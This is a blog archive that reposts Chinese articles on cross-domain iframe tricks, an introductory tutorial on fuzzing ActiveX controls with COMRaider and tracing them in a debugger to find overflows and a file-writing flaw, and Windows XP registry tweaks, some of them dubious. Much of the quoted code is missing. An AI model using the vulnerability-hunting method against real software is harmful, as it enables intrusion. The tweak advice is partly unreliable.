ZJL BLOG

Alipay UED » Blog Archive » 也来谈谈”完美”跨域

2009-01-05T02:48:00.000-08:00

Alipay UED » Blog Archive » 也来谈谈”完美”跨域: "适用面更广一些"

也来谈谈”完美”跨域

oldfish 发表于2008-12-17,12:04 1,271 Views

关于跨域这个话题，很早就答应过要分享，但是因为懒，一直拖着，直到D2上有人谈起了“完美跨域”。“跨域”应该已经算不上什么难题了，只是提起“完美”这两个字，突然觉得有了新意，那就写点什么吧，至少对自己有个交代嘛！跨域方案有很多，接下来一一枚举，会给出demo，demo的宗旨是尽可能简单的让新手明白，各方案中跨域的原理，实际应用请酌情修改。
方案一、剪贴板

原理：IE本身依附于windows平台的特性为我们提供了一种基于iframe，利用内存来“绕行”的方案，在这里我称之为，本地存储原理。

缺点：不支持非IE浏览器，并且影响到用户对剪贴板的操作，用户体验非常不好，特别是在IE7下，受安全等级影响，会弹出提示框。

演示：[ 点此阅览 ]

子页面在子域：demo.ioldfish.cn下，在页面中加入如下代码获取页面高度并存入剪贴板。

1.

主页面在主域：www.ioldfish.cn下，在页面中加入如下代码，获取剪贴板的值并赋值为子页面所在的iframe的高度。

1.

方案二、document.domain

原理：设置了document.domain，欺骗浏览器

缺点：无法实现不同主域之间的通讯。并且当在一个页面中还包含有其它的iframe时，会产生安全性异常，拒绝访问。

演示：[ 点此阅览 ]

主页面在主域：www.ioldfish.cn下，子页面在子域：demo.ioldfish.cn下，在两个页面的头部都加入如下代码：

1.

方案三、通过JS获取hash值实现通讯

原理：hash可以实现跨域传值实现跨域通讯。

缺点：对于父窗口URL参数动态生成的，处理过程比较复杂一些。并且IE之外的浏览器遇到hash的改变会记录历史，影响浏览器的前进后退功能，体验不佳。

演示：[ 点此阅览 ]

子页面在主域：www.lzdaily.com下，在页面中添加如下代码,因为hash是不受跨域限制的，所以可以将本页面的高度顺利的传送给主页面的hash。

1.

主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，首先取得子页面传递过来的hash值，然后将hash值赋到子页面所在的iframe的高度上。

1.

方案四、传hash值实现通讯改良版

原理：该方案通过“前端代理”的方式，实现hash的传值，体验上比之方案三有了很大的提升。

缺点：对于父窗口URL参数动态生成的，处理过程比较复杂一些。

演示：[ 点此阅览 ]

子页面在主域：www.lzdaily.com下，在页面中添加如下代码,首先在页面里添加一个和主页面同域的iframe［也可动态生成］，他的作用就像是个跳板。C页面中不需任何代码，只要确保有个页面就防止404错误就可以了！该方法通过修改iframe的name值同样可以跨域传值，只是比较”猥琐“而已。

1.

然后在页面中加上如下代码，利用页面C的URL接收hash值，并负责把hash值传给同域下的主页面。

1.

主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，获取从C页面中传递过来的hash值。这里应用到一个技巧，就是直接从A页面用frames["iId"].frames["iframeC"].location.hash,可以直接访问并获取C页面的hash值。这样一来，通过代理页面传递hash值，比起方案三，大大提高了用户体验。

1.

方案五、JSONP

原理：有点脚本注入的味道

缺点：服务器端程序运行比脚本早，跨域交互时无法捕获前端页面元素的相关数据，比如自适应高度。

演示：[ 点此阅览 ]

主页面在主域：www.ioldfish.cn下，在页面中添加如下代码，动态创建一个script，然后指定到子域的动态文件，在动态文件后面可以添加参数，在这里我加了一个回调函数，当请求返回后，会运行这个回调函数。

1.

子页面在主域：www.lzdaily.com下，在页面中添加如下代码，首先先取得主页面传过来的回调函数名，然后生成一段 javascript代码，以回调函数带参数的形式返回主页面，这样就完成了跨域之间的通讯。由于服务器端程序执行总是优先于javascript代码，所以基本上没办法获取到子页面中DOM的相关数据，所以小白同学，我可以很负责人的告诉你，想通过这种方法实现跨域自适应高度是不可能的！

1.

方案六、window.name

原理：window.name本身并不能实现跨域，只是中间做了代理。

缺点：获取异域的前端页面元素值有一定局限性，比如取自适应高度的值。但是此方法在前端页面元素的数据交互上明显比JSONP强。

演示：[ 点此阅览 ]

这个方案，YAHOO的同事已经给出了详细的demo，我就不重复了，演示demo出自YAHOO克军之手。详细的说明可以参看“怿飞的BLOG”，个人觉得方案四比window.name适用面更广一些。
方案七、window.navigator

原理：window.navigator这个对象是在所有的Iframe中均可以访问的对象。应该是IE的一个漏洞！

缺点：不支持IE外的浏览器下的跨域。严格的dtd申明后，该方法失效！

演示：[ 点此阅览 ]

主页面在主域：www.ioldfish.cn下，首先先申明一个Json用来保存所有页面的高度window.navigator.PagesHeight={”":0};，然后根据name的属性找到页面的数据window.navigator.getData，最后将页面的数据注册到window.navigator.PagesHeight中。这里还定义了一个函数resetIframeData，在页面加载的时候调用它，完成跨域的数据交互。注释中详细说明了参数的作用。

1.

子页面在主域：www.lzdaily.com下，获取到页面高度后，将高度存到主页定义的Json中，Json标识为”PortalData”，这里可以自定义。

1.

其实通过css也可以实现跨域，数据获取的实质其实就是动态载入一段CSS，然后解析其中的字段提取数据，这个方法比较“猥琐”，再这里就不多介绍了，当然flash也可以实现跨域，只是还没去实践，实践完了再补充。啥时候能补完呢？恩……

以上这么多方案，有可以“完美跨域”的吗？单一的看，我想没有吧，都有缺陷，但是只要不同情况下使用合适的方法，我想这才是最完美的！原来绕了一圈，我只是再说废话，哎！不论怎么样，还是希望这些废话对还在苦苦追求“完美”的同学们有所启发！

Tags: jsonp, window.name, window.navigator, 跨域

星期三, 12月 17th, 2008 前端技术.

1. uidesigner
12月 17th, 2008 at 20:48

沙发,好多选择哦,哪个方案好呢?
2. 老鱼
12月 18th, 2008 at 10:37

最适合你的,才是最好的阿,哈哈,看你是什么应用场景了!
3. 刘镇维
12月 23rd, 2008 at 12:54

从方案4得到启发，如果可以修改页面4的内容的话，做如下修改就可以实时向父页面传递参数了。

function test(){
var str=location.hash;
parent.parent.test(str);
}
4. 刘镇维
12月 23rd, 2008 at 12:56

window.onload=test;

刚才漏了一句

跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站

2009-01-05T02:41:00.000-08:00

跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站

下面直接帖上网上找到的那篇文章（怕这个链接失效）
来自:http://hily.me/blog/2006/11/special-domain-data-fetch/。

引用
浏览器跨域获取特定域的数据的办法
以前看了几篇这方面的文章，但是都未能找到一个合适的解决方法。
获取同一个域的数据，可以通过XMLHTTP组件或IFRAME来实现，不存在跨域访问的权限问题，因此比较简单。
但如果要访问不同域的数据时，由于浏览器的安全设置，XMLHTTP没有权限获取数据，而IFRAME没有权限将获取的数据传递给父窗口，似乎没有其它解决办法。
在网上提到的方法，不外乎这两种：
1. 如果要获取的数据位于同一个根域但是不同子域时，可以在脚本中指定document.domain为父域。
2. 如果要获取的数据位于不同的根域时，则可以在服务器上写一个脚本作为代理，由服务器上的脚本获取不同域的数据，然后传递给在同一个域中的网页。
以上两种方法很容易便能想到，现在的问题是，如果要获取一个不同根域的数据时，该如何实现？

一般我们不会漫无目的地去网上获取数据，往往是从指定的服务器上获取数据，就像Google Maps、Google Adsense和referer这样的网页插件，一般都是以脚本的形式提供给用户使用的。这时，如果要求用户在自己的服务器上写个代理的话，易用性就要大打折扣。获取你会考虑为用户写好各种脚本的代理，PHP、ASP、Python、Perl……，但是，如果这台服务器不支持动态脚本，又该怎么办呢？
想了两天都没想通这个问题（除去上班时间其实不到两个小时），曾考虑过用浏览器的漏洞来实现，但是这样做不能长久，因此放弃。随后发现Google本地搜索的地图数据来自于mapabc.com，好家伙，他们是怎么办到的？
用FireFox的DOM查看器可以看到，地图区是一个IFRAME，难道是用IFRAME实现的？但是拖动地图时如何知道要下载哪些图片的？这些数据是一定要从服务器上获取的，难道放这些数据的服务器也是google.com域内的？应该不会这么麻烦。
随即找来Google Maps的API进行开刀，官网给的范例网页如下：

Java代码复制代码

1. 2. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
3.
4.
5.
6. Google Maps JavaScript API Example
7.
9.
19.
20.
21.

22.
23.
24.
25.
26.
27. 把http://maps.google.com/maps?file=api&v=2&key=abcdefg下载下来看了一下，里面有一句：
28.
29.
30. GScript("http://maps.google.com/mapfiles/maps2.67.api.js");
31.
32. 这句就是用来加载地图操作库的，GScript函数定义为：
33.
34. function GScript(src) {document.write('');}

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

Google Maps JavaScript API Example

把http://maps.google.com/maps?file=api&v=2&key=abcdefg下载下来看了一下，里面有一句：

GScript("http://maps.google.com/mapfiles/maps2.67.api.js");

这句就是用来加载地图操作库的，GScript函数定义为：

function GScript(src) {document.write('');}

顿悟……
网页内引用不同域的脚本并不会提示权限不足，对了，就是它没错！
这个方法其实我早应该想到的，可能是太久没玩javascript的缘故吧。不论是referer还是Google Analytics，要统计页面访问信息，都要用脚本来向服务器提交信息，只是它们只提交一次（Google Analytics有统计逗留时间，应该有好几次）。习惯性地，我把提交和下载数据分开了，所以不容易想到这个方法。
但是用document.write始终不是好办法，它会清除页面上原有的内容。改进的方法估计你已经想到了，可以参考一下我很早以前乱写的这篇文章《有效地组织页面中复杂的JavaScript脚本》里的思想。
继续分析Google Maps的代码，打开http://maps.google.com/mapfiles/maps2.67.api.js，里面有这样的代码：

Java代码复制代码

1. ta.prototype.Hk=function(a,b){var c=this.ql(a);if(c){window.setTimeout(function(){b(c)},
2. 0)}else{var d="__cg"+Zf++ +(new Date).getTime();
3. try{if(this.qe==null){this.qe=document.getElementsByTagName("head")[0]}
4. var e=window.setTimeout(sd(d,b,a,403),15000);
5. if(!window.__geoStore){window.__geoStore={}}window.__geoStore[d]=Jf(this,d,b,e);
6. var f=document.createElement("script");f.type="text/javascript";
7. f.id=d;f.charset="UTF-8";
8. f.src=this.vl+"?q="+window.encodeURIComponent(a)+"&output=json&callback=__geoStore."+d+"&key="+this.Lh;
9. this.qe.appendChild(f)}catch(g){if(e){window.clearTimeout(e)}window.setTimeout(sd(d,
10. b,a,500),0)}}};

ta.prototype.Hk=function(a,b){var c=this.ql(a);if(c){window.setTimeout(function(){b(c)},
0)}else{var d="__cg"+Zf++ +(new Date).getTime();
try{if(this.qe==null){this.qe=document.getElementsByTagName("head")[0]}
var e=window.setTimeout(sd(d,b,a,403),15000);
if(!window.__geoStore){window.__geoStore={}}window.__geoStore[d]=Jf(this,d,b,e);
var f=document.createElement("script");f.type="text/javascript";
f.id=d;f.charset="UTF-8";
f.src=this.vl+"?q="+window.encodeURIComponent(a)+"&output=json&callback=__geoStore."+d+"&key="+this.Lh;
this.qe.appendChild(f)}catch(g){if(e){window.clearTimeout(e)}window.setTimeout(sd(d,
b,a,500),0)}}};

script节点也是动态创建的，这样就可以避免document.write产生的问题。

解决方法找到了，现在来简单测试一下：
1. 在本地服务器上新建一页面。
test.html：

Java代码复制代码

1.
2.
3. Over-Domain Data Fetching Test Page
4.
19.
20.
21.

22.

23. My Name:

24. My Blog:
25.
26.

Over-Domain Data Fetching Test Page

My Name:

My Blog:

解释两个关键点：
1. lastScript用于存放上次建立的script节点的ID，在下次要再新建script节点时，要删除上次建立的节点，以免加载的脚本越来越多，占用过多的内存。
2. url后面加了一个数值d是为了防止浏览器缓存脚本数据，在本例中可以不加，但是如果脚本是由服务器动态生成的，那最好加上。
然后再建立两个javascript脚本用于测试：
alert.js：

Java代码复制代码

1. alert('You can see me!');

alert('You can see me!');

info.js：

Java代码复制代码

1. g('myname').value='Hily Jiang';
2. g('myblog').value='http://hily.iyi.cn/';

g('myname').value='Hily Jiang';
g('myblog').value='http://hily.iyi.cn/';

好了，把它们放在本地服务器的根目录下，敲入http://127.0.0.1/test.html，这样它和localhost就不在同一个域内了。
点击“Test Alert”，应该会弹出对话框显示You can see me!。
点击“Get My Info”，应该会在文本框中显示我的信息。
（以上测试页在IE 6.0和FireFox1 .5.0下测试通过。）

跨域问题解决方案 - 朱燚 - 博客园

2009-01-05T02:40:00.000-08:00

跨域问题解决方案 - 朱燚 - 博客园

转自:http://blog.csdn.net/lenel

关于跨域名问题还是问题么，这方面的解决实践非常多，今天我就旧话重提把我所知道的通过几个应用场景来分别总结一下（转帖请注明出处：http://blog.csdn.net/lenel）

先说明一点：我说的某某域名在您的控制下的意思是这个域名下的网页由您来负责开发内部的JavaScript
场景一：将bbs.xxx.com的页面用iframe嵌入到www.xxx.com的中，如何在iframe内外使用js通信（转帖请注明出处：http://blog.csdn.net/lenel）
一级域名都是xxx.com 这个域名一定是在您的控制下，所以你只要在两个页面中同时升级域名即可
在父窗口和iframe内部分别加上js语句：document.domain="xxx.com";
之后2个页面就等于在同一域名下，通过window.parent oIframe.contentDocument就可以相互访问，进行无障碍的JS通信
在新浪、淘宝等很多页面都能找到这样的语句。不过document.domain不可以随便指定，只能向上升级，从bbs.xxx.com升级到yyy.com肯定会出错

场景二：将www.yyy.com的页面用iframe嵌入到www.xxx.com的中，两个域名都在您的控制下，如何在iframe内外进行一定的数据交流（转帖请注明出处：http://blog.csdn.net/lenel）
你可以通过相互改变hash值的方式来进行一些数据的通信

这里的实现基于如下技术要点：
1、父窗口通过改变子窗口的src中的hash值把一部分信息传入，如果src只有hash部分改变，那么子窗口是不会重新载入的。
2、子窗口可以重写父窗口的location.href，但是注意这里子窗口无法读取而只能重写location.href所以要求前提是您控制两个域名，知道当前父窗口的location.href是什么并写在子窗口内，这样通过parent.location.href = "已知的父窗口的href"+"#"+hash。这样父窗口只有hash改变也不会重载。
3、上面两步分别做到了两个窗口之间的无刷新数据通知，那么下面的来说如何感知数据变化。标准中没有相关规定，所以当前的任意浏览器遇到 location.hash变化都不会触发任何javaScript事件，也就是说您要自己写监听函数来监视loaction.hash的值的变化。做法是通过setTimeout或者setInterval来写一个监听函数每20-100ms查看一下hash是否变化，如果变化了驱动js根据新的数据做想做的事情。

这种实现的一些分析：
1、信息通道是双向的，当然会兼容单向，如果只是父窗口向子窗口通知数据，只需要子窗口写hash监听，反之亦然。
2、局限性也是颇大，因为这种通信的前提是双方知道对方的location.href。如果父窗口带有动态的location.search也就是查询参数，那么子窗口的处理上就比较困难，需要把父窗口的location.search作为传递信息的一部分告知子窗口。
3、另外的困扰会有浏览器带给你，IE之外的浏览器遇到hash的改变会记录历史，这样你在处理前进后退的时候会非常头疼

场景三：将www.yyy.com的页面用iframe嵌入到www.xxx.com的中，只有被嵌入的yyy.com在您的控制下，如何在iframe内外进行一定的交流
真实场景：google adsence的一个需求，你希望google发现您的页面不能匹配出相关性非常好的按点击付费广告时，你希望google的广告iframe能够隐藏。
google的广告iframe在google域下显然不能把自己隐藏掉，那么怎么办呢？
1、google会提供给你一个html页面
2、您将这个页面放置在您的域名下，并告诉google它的位置
3、当google发现没有很好的广告时，会将子窗口的loaction重定向到您的那个页面下，这样您的页面因为同域名就可以访问父页面来隐藏自己了
是不是很巧的方法？

场景四：您是内容发布商，如何改造接口，让其他域名下的页面可以从浏览器端出发获得您的数据
我们知道ajax的xmlHttpRequest()说到底是一个无刷新请求服务器数据的辅助工具，但是xmlHttpRequest并不能跨域名请求数据，在某些情况下成了极大的限制。
但是我们如果通过其他方式完成无刷新请求数据不也可以么，我们用Dom方法操作动态JS脚本请求来做这件事。
//创建一个脚本节点
var oScript = document.createElement('script');
//指定脚本src src可以指向任意域名
//注意src不再指向静态js，而是带着查询参数指向一个动态脚本广播服务。
oScript.src = "http://yyy.com/query.php?"+yourQueryString;
//如果指定了charset 同时还可以解决xmlHttpRequest另一大困扰乱码问题
//oScript.charset = "utf-8";
//通过Dom操作把这个新的节点加入到文档当中
document.getElementsByTagName("head")[0].appendChild(oScript);

这样只要query.php的输出是可执行的javaScript脚本，比如：djsCallBack（{jsondata}）;
当他从服务器返回后就会自动执行,你可以方便的用json方式来做数据传递了。
要注意，您的脚本请求最好带上时间戳，避免浏览器缓存造成取回数据实时性下降。

如果您是数据提供者，您可以要求数据索取者在查询参数中提供回调函数名，比如query.php?callback=myDataHandler&key=...?
这样您就可以根据参数来提供给他myDataHandler({jsondata}),这样不同的数据索取者都会得到自定义的正确的异步回调。

进一步发展，可以做一个统一的从xml到动态json的数据转化服务器，脱离数据的实际意义，针对任何xml接口都可以作为转化后提供给客户端直接访问。
这样就不用针对单独xml数据服务，为了跨域名而做各自的后台数据抓取转化服务。

用动态脚本传数据功能非常强大，去年我最先在YAHOO的站点上看到这样的应用，让人眼前一亮。

总结总结：
第一种场景，相应的处理办法有这非常好的效果，可以说完全解决了问题。
第二种场景，相应的处理办法具有一定的跨域数据交流功效，具有相当大的局限，并不适合在复杂业务流程中应用，实际上我也确实也没看到过基于此的大规模应用。
第三种场景，相应的处理办法比较巧妙，虽然redirect之后就不干你什么事了，但如果你是google一样面向众多域名的内容提供商，也是个不错的解决思路。
第四种场景，相应的处理办法非常强大，对比Ajax可以看到，跨域名没问题，无刷新没问题，本身又是异步的，JSON比xml快的多，同时解决乱码问题，只是请求都是Get方式的，不能做Post方式的请求。多一种武器自然可以从容选择了。（转帖请注明出处：http://blog.csdn.net/lenel）

剪贴板实现跨域iframe高度自适应 @ 阅微堂

2009-01-05T02:39:00.000-08:00

剪贴板实现跨域iframe高度自适应 @ 阅微堂
剪贴板实现跨域iframe高度自适应
zhiqiang10月 9, 2006 IT技术

这两天玩xiaonei用到的一个技术，虽说是跨域iframe，但要求对外部网页和内部网页都有编辑权限，所以只能用在一些特殊场合。

如果是域内的iframe，高度自适应非常简单，给iframe加入onload属性即可：

marginheight=1 width='100%' scrolling='no' border='0'
frameborder='0'
onLoad='this.height=iframeUpload.document.body.scrollHeight'
target='_blank' style="font-size: 9pt">

这样的方法，baidu一下有很多，一些复杂的方式考虑了浏览器差异等，某些情况下更有效更稳定。不过为安全因素，所有游览器都禁止了不同顶级域名的iframe与其父窗口之间的通信，上面的方法也全失效了。

在http://www.ikown.com/html/show-id-106.html提到另一种实现的技巧，不过需要完全征用用户的剪贴板，后来在code的提示下，可以在基本不影响用户剪贴板使用的情况下，做同样的事情。完整代码如下：

src="http://othersite/a.html" width="100%"
height="700px" frameborder="0" onload="function
resetIframeHeight(){setTimeout(resetIframeHeight,1000);var
str=window.clipboardData.getData('text'); var
obj=document.getElementById('cwin'); if(str.match(/^frameHeight=
\d+x/)){ obj.style.height=parseInt(str.match(/\d+/))
+'px';window.clipboardData.setData('text',str.replace(/
^frameHeight=\d+x/, "));}}setTimeout(resetIframeHeight,1000);">

下面是http://othersite/a.html的代码

i love it.

ActiveX 控件漏洞挖掘入门_悦来客栈-baidu分栈

2009-01-04T22:27:00.000-08:00

【原创】ActiveX 控件漏洞挖掘入门
http://hi.baidu.com/bybabbitt/blog/item/ee5aedbfb73ff90d19d81fac.html
标题: ActiveX控件漏洞挖掘入门
作者: k7zj
时间: 2008-03-27,14:52

--------------------------------------------------------------------------------

【文章标题】: ActiveX控件漏洞挖掘入门
【文章作者】: k7zj
【作者邮箱】: k7zjmost@21cn.com
【编写语言】: html etc.
【使用工具】: COMRaider
【操作平台】: WINXP SP2
【作者声明】: 其实是看了一篇文章《ActiveX-ActiveExploitation》以及一些常见的ActiveX漏洞挖掘过程，想对这方面的东西做点小小的总结，权当作入门的东西，勉强算是原创吧。。。

【基础介绍】
ActiveX是微软在1996年引入，是基于COM组件和OLE的。COM组件开发的目的是为了简化代码的重用，通过建立带有接口的对象，它们能被其他 COM足见以及程序调用，IE里面经常用到这样的技术。因此COM组件被广泛用于开发浏览器的第三方应用程序，其实也就是插件。但由于现在有的第三方开发人员编程方面的原因，控件出现越来越多的漏洞能被恶意的网站来利用，通过溢出或者是功能代码的注入来侵害个人电脑。
ActiveX控件被利用多出现在2个方面：第一就是其导出函数可能具有的隐蔽的功能，比如操作注册表，读写文件等等，还有就是控件本身一些函数在处理参数的时候出现了参数长度未检查造成溢出的情况。恶意的网站如果在网站上安装了有漏洞的COM组件，而用户毫不知情的情况下访问很容易被入侵。
ActiveX控件被浏览器调用实例化的条件是：它是被标记了可安全执行脚本（as safe for scripting）。要判断其是否为可安全执行脚本，只需在注册表中对应的CLSID项下查看是否有Implemented Categories此项即可。

【FUZZ工具介绍】
目前FUZZ ActiveX控件比较好的工具是COMRaider.

【如何跟踪COM组件的接口】
首先来讲些基础知识：
IDispatch接口如下：
interface IDispatch:IUnknow
{
virtual HRESULT GetTypeInfoCount(UINT *pctinfo) = 0;
virtual HRESULT GetTypeInfo(UINT itinfo,LCID lcid,ITypeInfo **pptinfo) = 0;
virtual HRESULT GetIDsOfNames (
REFIID riid,
LPOLESTR* rgszNames,
UINT cNames,
LCID lcid,
DISPID* rgdispid) = 0;
virtual HRESULT Invoke(
DISPID dispidMember,
REFIID riid,
LCID lcid,
WORD wFlags,
DISPPARMS* pdispparams,
VARIANT* pvarResult,
EXCEPINFO* pexcepinfo,
UINT* puArgErr) = 0;
}
1.GetTypeInfoConut(): 用于获取自动化组件支持的ITypeInfo接口的数目。
2.GetTypeInfo(): 用于获取指针ITypeInfo接口的指针，通过该指针将能够判断自动化服务程序所提供的自动化支持。
3.GetIdsofNames(): 读取一个函数的名称并返回其调度ID(DISPID).
DISPID *rgdispid是一个long类型的数据，对于IDispatch的一个特定实现，此DISPID值应该是唯一的。REFIID riid：为保留参数，不许设置为IID_NULL，在rgszNames中指定了成员函数名及其参数，由cNames标识了名字的个数，lcid参数用于指定本地化标识，得到的DISPID将保存到rgdispid中。
4.Invoke(): 提供了访问自动化对象暴露出来的方法和属性的方法。
将DISPID作为函数指针数组的索引传入dispidMember参数，Invoke()将实现一组按此索引来访问的函数。riid和lcid的含义与在GetIDsOfNames（）中的定义相同，分别为保留参数和本地化标识。
WORD wFlags：指定了要访问的是接口的属性还是方法
DISPPARMS* pdispparams：包括了方法和属性调用的参数数组、DISPID数组以及数组中参数个数等信息。
VARIANT* pvarResult：保存返回值信息。
EXCEPINFO* pexcepinfo：指向一个有效的异常信息结构。
UINT * PuArgErr：包含了第一个产生错误的参数指针。

综合以上，可以了解到：通过GetIDsOfNames（）和Invoke（）的结合使用，将可以根据函数名称对方法和属性进行调用。这样，函数地址、AddRef（）、Release（）以及接口指针等细节问题将无需考虑。
基于以上的分析，对于COM里面某个函数的定位思路是：由于在调用COM里面某个函数时，会去分发，然后再调用COM里面的函数，那么，我们就在它分发的时候先把它拦截下来，之后再单步跟入某个函数。
关键函数：DispCallFunc，位于OLEAUT32.dll。在DispCallFunc函数一直“步过”，直到见到Call ecx时，我们就来到了进入COM里面某个函数的边缘了！就差一步“步进”，就来到了COM里面的某个函数的入口点了。

【如何跟踪COM组件的接口--示例】
使用工具： COMRaider
目标： COMRaider里含有的vuln.dll

1. 首先注册vuln.dll
如图（点击放大）：

2．运行COMRaider,选择开始并直接fuzz vuln.dll
如图（点击放大）：

3．选择Method3开始“Fuzz member”
如图（点击放大）：

4．点击Next后出现了很多文件，随便选择一个点右键“Launch in Olly”
如图（点击放大）：

5．被ollydbg加载后出现在入口点。首先查看可执行模块，因为前面说过DispCallFunc位于OLEAUT32.dll，所以直接查看 OLEAUT32.dll，双击OLEAUT32那条，然后ctrl+n,在DispCallFun下断点即可。
如图（点击放大）：

6.下好断点以后F9运行，会停在DispCallFunc这里，然后单步走。
如图（点击放大）：

7．F8单步，直到看见Call ecx的时候单步步入，就到了被分发函数的入口了。
如图（点击放大）：

这样就找了调试那个函数的入口，就可以自己调试了。

【再一个示例】
这次使用method1的函数，可以观察由COMRaider生成的fuzz文件（我的是在跟com-dll一个目录下）。

注意红色部分，表示填充的参数为3092个，该脚本通过调用mehod1来弹出一个显示3092个A的对话框，但是由于参数太多，导致溢出。双击文件可见结果如下：

可见是被A字符串所溢出。

【该部分小结】
COMRaider的目的就可以根据接口所提供的参数类型构造不同的FUZZ脚本，比如说method1的参数是string，则COMRaider就构造超长字符串的参数的脚本来fuzz,并且还能通过调试器来调试。

【其他类型的漏洞】
ActiveX控件提供了丰富的接口来操作，但是有的接口可能会被不法的人来利用干坏事。下面就举一个例子来演示ActiveX在这方面的破坏性。
这是一个2007年9月报出的漏洞。
QRcode ActiveX中的SaveAsBMW () 和 SaveAsWMF()可以储存任何文件类型的文件。那意味着它可以修改系统的配置文件以及做很多坏事。
还是先用COMRaider来看看。
选择MW6QRCode.dll，查看
这2个函数存在。
其实如何找到这2个函数有漏洞存在还是需要尝试去调用。这里过程是艰巨的，我还是直接给出EXP，是在www.milW0rm.org上找的。
是个网页形式的，上面有说明，点击以后会在系统目录下生成system_.ini文件，如果别有用意的人可能会写点可执行程序等等，病毒啊，木马啊甚至rootkit....那到时候就不堪设想了。

【总结】
可见挖掘软件漏洞是个非常困难的工程，要求掌握很多的知识，对于挖掘ActiveX的漏洞我之前并没有太多的认识。这篇算勉强算是ActiveX漏洞发掘的入门篇吧，说白了就是一些总结，因为好多东西都是在网上找的，所以有什么不对的地方，还希望能够多多指出。希望大家一起交流。

参考文献：《 ActiveX-ActiveExploitation》
Milw0rm: http://www.milw0rm.com/exploits/4420

優化XP設定

2008-11-24T22:45:00.000-08:00

優化XP設定: "在〔控制台〕→〔電話和數據機選項〕→〔數據機〕→〔進階〕"

Menu		其他網頁
首頁
安裝及移除
優化XP設定
修改 XP 設定秘技
桌面調整
功能調整
Internet Explorer 調整
多重啟動及XP命令表
XP 鍵盤快速鍵
廣東/五筆輸入法
牆紙及登入畫面下載
檔案下載
Windows Server 2003
共同研究

優化 Windows XP 設定

優先使用實際記憶加快系統速度	善用 CPU 的 L2 Cache 加快整體效能
關機時自動關閉停止回應程式	加快預讀能力改善開機速度
加快開機及關機速度	自動關閉停止回應程式
清除記憶體內被不用的DLL文件	加快寬頻連接速度
加快菜單顯示速度	加快自動更新率
使用微軟 Bootvis.exe 優化啟動速	移除啟動時載入不需要的程式
停用不需要的服務	關閉 XP 內設的燒碟功能
在啟動電腦時執行 Defrag 程式	減少多重啟動時等待時間
減少寬頻網卡在開機時等待的時間	加快撥號上網的撥號速度

優先使用實際記憶加快系統速度

如果你的系統具備 256MB 或以上的記憶體可按下列辦法調整
可加快系統的運行速度
在〔開始〕→〔執行〕→〔Regedit〕→〔HKKEY_LOCAL_MACHINE〕
→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔Session Manager〕
→在〔Memory Management〕的右手邊視窗
將〔DisablePagingExecutive〕的〔Dword〕值由預設的〔0〕改為〔1〕
重新開機後生效
如由預設值設定為〔0〕則代表停用此功能


		DisablePagingExecutive	REG_DWORD	0x00000001(1)

...HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

加快開機及關機速度

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Control Panel〕→〔Desktop〕
→將字串值〔HungAppTimeout〕的數值資料更改為〔200〕
→將字串值〔WaitToKillAppTimeout〕的數值資料更改為〔1000〕


HungAppTimeout	REG_SZ	200
WaitToKillAppTimeout	REG_SZ	1000

我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop

另在〔HKEY_LOCAL_MACHINE〕→〔System〕→〔CurrentControlSet〕→〔Control〕
→將字串值〔HungAppTimeout〕的數值資料更改為〔200〕
→將字串值〔WaitToKillServiceTimeout〕的數值資料更改為〔1000〕


HungAppTimeout	REG_SZ	200
WaitToKillServiceTimeout	REG_SZ	1000

我的電腦\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

自動關閉停止回應程式

在〔開始〕→〔執行〕→鍵入〔Regedit〕
→〔HKEY_CURRENT_USER〕→〔Control Panel〕→〔Desktop〕
→將字串值〔AutoEndTasks〕的數值資料更改為〔1〕
→重新開機便生效


(預設值)	REG_SZ	(數值未設定)
AutoEndTasks	REG_SZ	1

我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop

清除記憶體內被不用的DLL文件

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKKEY_LOCAL_MACHINE〕
→〔SOFTWARE〕→〔Microsoft〕→〔Windows〕→〔CurrentVersion〕→〔Explorer〕
增加一個機碼〔AlwaysUnloadDLL〕預設值為〔1〕
如由預設值設定為〔0〕則代表停用此功能


		(預設值)	REG_SZ	1

...\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL

加快寬頻連接速度

在〔開始〕→〔執行〕→鍵入〔gpedit.msc〕打開〔本機管理原則〕→〔電腦設定〕
→〔系統管理範本〕→〔Network〕→在右邊窗口打開〔QoS Packet Scheduler〕
→〔limit reservable bandwidth〕→選〔已啟用〕
→將〔Bandwidth limit %" 〕的數據改為〔0〕→重新開機便生效
* 僅適用用 Windows XP 商業版版本

家用版可按下執行
在〔開始〕→〔執行〕→鍵入〔regedit〕→在〔HKEY_LOCAL_MACHINE〕
→〔SOFTWARE〕→〔Policies〕→〔Microsoft〕 →〔Windows〕
增加一個名為〔Psched〕的機碼
在〔Psched〕右面窗口增加一個 Dword 值〔NonBestEffortLimit〕數值資料為〔0〕


(預設值)	REG_SZ	(數值未設定)
NonBestEffortLimit	REG_DWORD	0x00000000(0)

我的電腦\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched

加快菜單顯示速度

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Control Panel〕
→〔Desktop〕→將字串值〔MenuShowDelay〕的數值資料更改為〔０〕
調整後如覺得菜單顯示速度太快而不適應者可將〔MenuShowDelay〕的數值資料更改為〔200〕
→重新開機便生效


(預設值)	REG_SZ	(數值未設定)
MenuShowDelay	REG_SZ	200

我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop

加快自動更新率

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔System〕
→〔CurrentControlSet〕→〔Control〕→〔Update〕
→將 Dword〔UpdateMode〕的數值資料更改為〔０〕
→重新開機便生效


(預設值)	REG_SZ	(數值未設定)
UpdateMode	REG_DWORD	0x00000000(0)

我的電腦\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update

